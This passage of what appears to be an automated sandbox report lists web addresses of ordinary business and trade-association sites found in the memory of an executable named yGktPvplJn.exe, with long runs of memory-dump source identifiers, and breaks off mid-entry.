Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760903569.0000000007AC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2627539836.0000000003490000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462757621.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2468766886.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2772788620.00000000073B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2791493875.00000000053F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.languagematters.co.uk
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.linkedin.com/company/elpro-lepenik/about/
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2397267279.0000000003500000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2396072731.0000000003460000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.naoi-a.com/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2696062874.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olras.com/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ozs.si/o-zbornici
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2685390810.00000000008B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2335208763.00000000075D0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2689225218.0000000003450000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.quadlock.com/
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sbc.si/o-sbc/organizacija
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stajerskagz.si/o-sgz-2/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/#breadcrumb
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/#website
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.stnic.co.uk/?s=
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 